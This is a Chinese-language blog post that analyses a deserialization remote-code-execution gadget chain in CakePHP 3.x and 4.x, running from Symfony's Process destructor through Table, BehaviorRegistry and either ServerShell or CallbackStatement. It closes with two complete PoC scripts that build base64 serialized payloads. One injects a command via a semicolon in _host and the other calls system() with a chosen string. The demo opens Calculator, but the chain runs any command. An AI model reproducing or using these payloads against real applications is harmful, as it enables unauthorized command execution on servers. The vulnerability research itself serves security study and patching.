CakePHP 3.x/4.x反序列化RCE链

最近网上公开了cakephp一些反序列化链的细节,但是没有公开poc,并且网上关于cakephp的反序列化链比较少,于是自己跟一下 ,构造pop链。

CakePHP简介

CakePHP是一个运用了诸如ActiveRecord、Association Data Mapping、Front Controller和MVC等著名设计模式的快速开发框架。该项目主要目标是提供一个可以让各种层次的PHP开发人员快速地开发出健壮的Web应用,而又不失灵活性。

3.x ≤ 3.9.6

入口位于vendor\symfony\process\Process.php的__destruct方法

在一些老版本中,__destruct方法是这样的:

跟进stop方法:

跟进isRunning方法:

$this->status可控,可以继续进入updateStatus方法,让其等于"started"即可

继续跟进readPipes方法:

发现$this->processPipes可控且调用readAndWrite方法,这样就我们可以调用任意类的__call方法

全局搜索,找到vendor\cakephp\cakephp\src\ORM\Table.php有合适的__call方法:

这里的$this->_behaviors也可控,到这里我们就可以调用任意类的call方法了

继续寻找,在vendor\cakephp\cakephp\src\ORM\BehaviorRegistry.php找到了合适的call方法:

这里就可以调用任意类的任意方法了,但是参数不可控

再来看看进入call_user_func_array的条件:

这里的$method就是之前触发__callreadAndWrite方法

跟进hasMethod方法,$this->_methodMap可控,所以可以使其返回true

再来看看has方法,是在父类ObjectRegistry中定义的,$this->_loaded也可控

所以条件成立,可以利用回调函数调用任意方法

接下来找到不需要参数的合适方法:

位于vendor\cakephp\cakephp\src\Shell\ServerShell.php的main方法

执行的命令由可控参数$this->_host、$this->_port等拼接而成,我们可以利用分号进行命令注入

但是由于前面的php -S命令,在windows下没有php环境变量可能无法利用

在执行命令之前,还得先让两个$this->out方法正常返回,否则会报错退出

一路跟进来到vendor\cakephp\cakephp\src\Console\ConsoleIo.php

这里的$level为1,我们只需要让$this->_level小于1即可使其返回true

到这里就可以执行系统命令了

poc:

php 复制代码
<?php
namespace Cake\Core;
abstract class ObjectRegistry
{
    public $_loaded = [];
}


namespace Cake\ORM;
class Table
{
    public $_behaviors;
}

use Cake\Core\ObjectRegistry;
class BehaviorRegistry extends ObjectRegistry
{
    public $_methodMap = [];
    protected function _resolveClassName($class){}
    protected function _throwMissingClassError($class, $plugin){}
    protected function _create($class, $alias, $config){}
}


namespace Cake\Console;
class Shell
{
    public $_io;
}

class ConsoleIo
{
    public $_level;
}

namespace Cake\Shell;
use Cake\Console\Shell;
class ServerShell extends Shell
{
    public $_host;
    protected $_port = 0;
    protected $_documentRoot = "";
    protected $_iniPath = "";
}


namespace Symfony\Component\Process;
use Cake\ORM\Table;
class Process
{
    public $processPipes;
}


$pop = new Process([]);
$pop->status = "started";
$pop->processPipes = new Table();
$pop->processPipes->_behaviors = new \Cake\ORM\BehaviorRegistry();
$pop->processPipes->_behaviors->_methodMap = ["readandwrite"=>["servershell","main"]];
$a = new \Cake\Shell\ServerShell();
$a->_io = new \Cake\Console\ConsoleIo();
$a->_io->_level = 0;
$a->_host = ";open /System/Applications/Calculator.app;";
$pop->processPipes->_behaviors->_loaded = ["servershell"=>$a];

echo base64_encode(serialize($pop));

3.x某些版本、4.x ≤ 4.2.3

4.x版本前半部分的整体思路和3.x基本一样,部分代码有变动

4.x版本ServerShell类修改了,没有之前一样好用的方法了

寻找新的调用链:

vendor\cakephp\cakephp\src\Database\Statement\CallbackStatement.php

这里有动态调用,方法名可控,参数$row通过$this->_statement->fetch($type)获得

于是寻找可用的fetch方法

vendor\cakephp\cakephp\src\Database\Statement\BufferedStatement.php有合适的方法:

这里$this->buffer、$this->index、$this->_allFetched参数均可控,可以返回我们指定的$row

于是可以达成任意方法执行,直接指定system执行系统命令

poc:

php 复制代码
<?php
namespace Cake\Core;
abstract class ObjectRegistry
{
    public $_loaded = [];
}


namespace Cake\ORM;
class Table
{
    public $_behaviors;
}

use Cake\Core\ObjectRegistry;
class BehaviorRegistry extends ObjectRegistry
{
    public $_methodMap = [];
    protected function _resolveClassName(string $class): ?string{
        return $class;
    }
    protected function _throwMissingClassError(string $class, ?string $plugin): void{}
    protected function _create($class, $alias, $config){}
}


namespace Cake\Database\Statement;
class StatementDecorator {
    public $_statement;
}

class CallbackStatement extends StatementDecorator
{
    public $_callback;
}

class BufferedStatement
{
    public $_allFetched;
    public $buffer = [];
    protected $index = 0;
}


namespace Symfony\Component\Process;
use Cake\ORM\Table;
class Process
{
    public $processPipes;
}


$pop = new Process([]);
$pop->status = "started";
$pop->processPipes = new Table();
$pop->processPipes->_behaviors = new \Cake\ORM\BehaviorRegistry();
$pop->processPipes->_behaviors->_methodMap = ["readandwrite"=>["callbackstatement","fetch"]];
$a = new \Cake\Database\Statement\CallbackStatement($statement, $driver,"");
$a->_callback = "system";
$a->_statement = new \Cake\Database\Statement\BufferedStatement($statement, $driver);
$a->_statement->_allFetched = true;
$a->_statement->buffer = ["open /System/Applications/Calculator.app"];
$pop->processPipes->_behaviors->_loaded = ["callbackstatement"=>$a];

echo base64_encode(serialize($pop));
相关推荐
dreamtm12329 分钟前
通俗理解 TCP 拥塞控制:像 “快递员看路况调速”,避免网络 “堵车”
网络·tcp/ip·php
2501_916008891 小时前
手机抓包app大全:无需root的安卓抓包软件列表
android·ios·智能手机·小程序·uni-app·iphone·webview
抛砖者1 小时前
1、Ubuntu上MySQL安装,密码设置,远程访问,端口修改
mysql·ubuntu
G探险者1 小时前
为什么 VARCHAR(1000) 存不了 1000 个汉字? —— 详解主流数据库“字段长度”的底层差异
数据库·后端·mysql
百锦再1 小时前
第18章 高级特征
android·java·开发语言·后端·python·rust·django
gcygeeker2 小时前
安卓 4.4.2 电视盒子 ADB 设置应用开机自启动
android·adb·电视盒子
RainbowSea2 小时前
13. Spring AI 的观测性
java·spring·ai编程
小驰行动派3 小时前
安卓上的极简番茄钟 | 开源
android·开源
jzlhll1233 小时前
android抽屉DrawerLayout在2025的沉浸式兼容
android
基哥的奋斗历程3 小时前
Kotlin_Flow_完整使用指南
android·开发语言·kotlin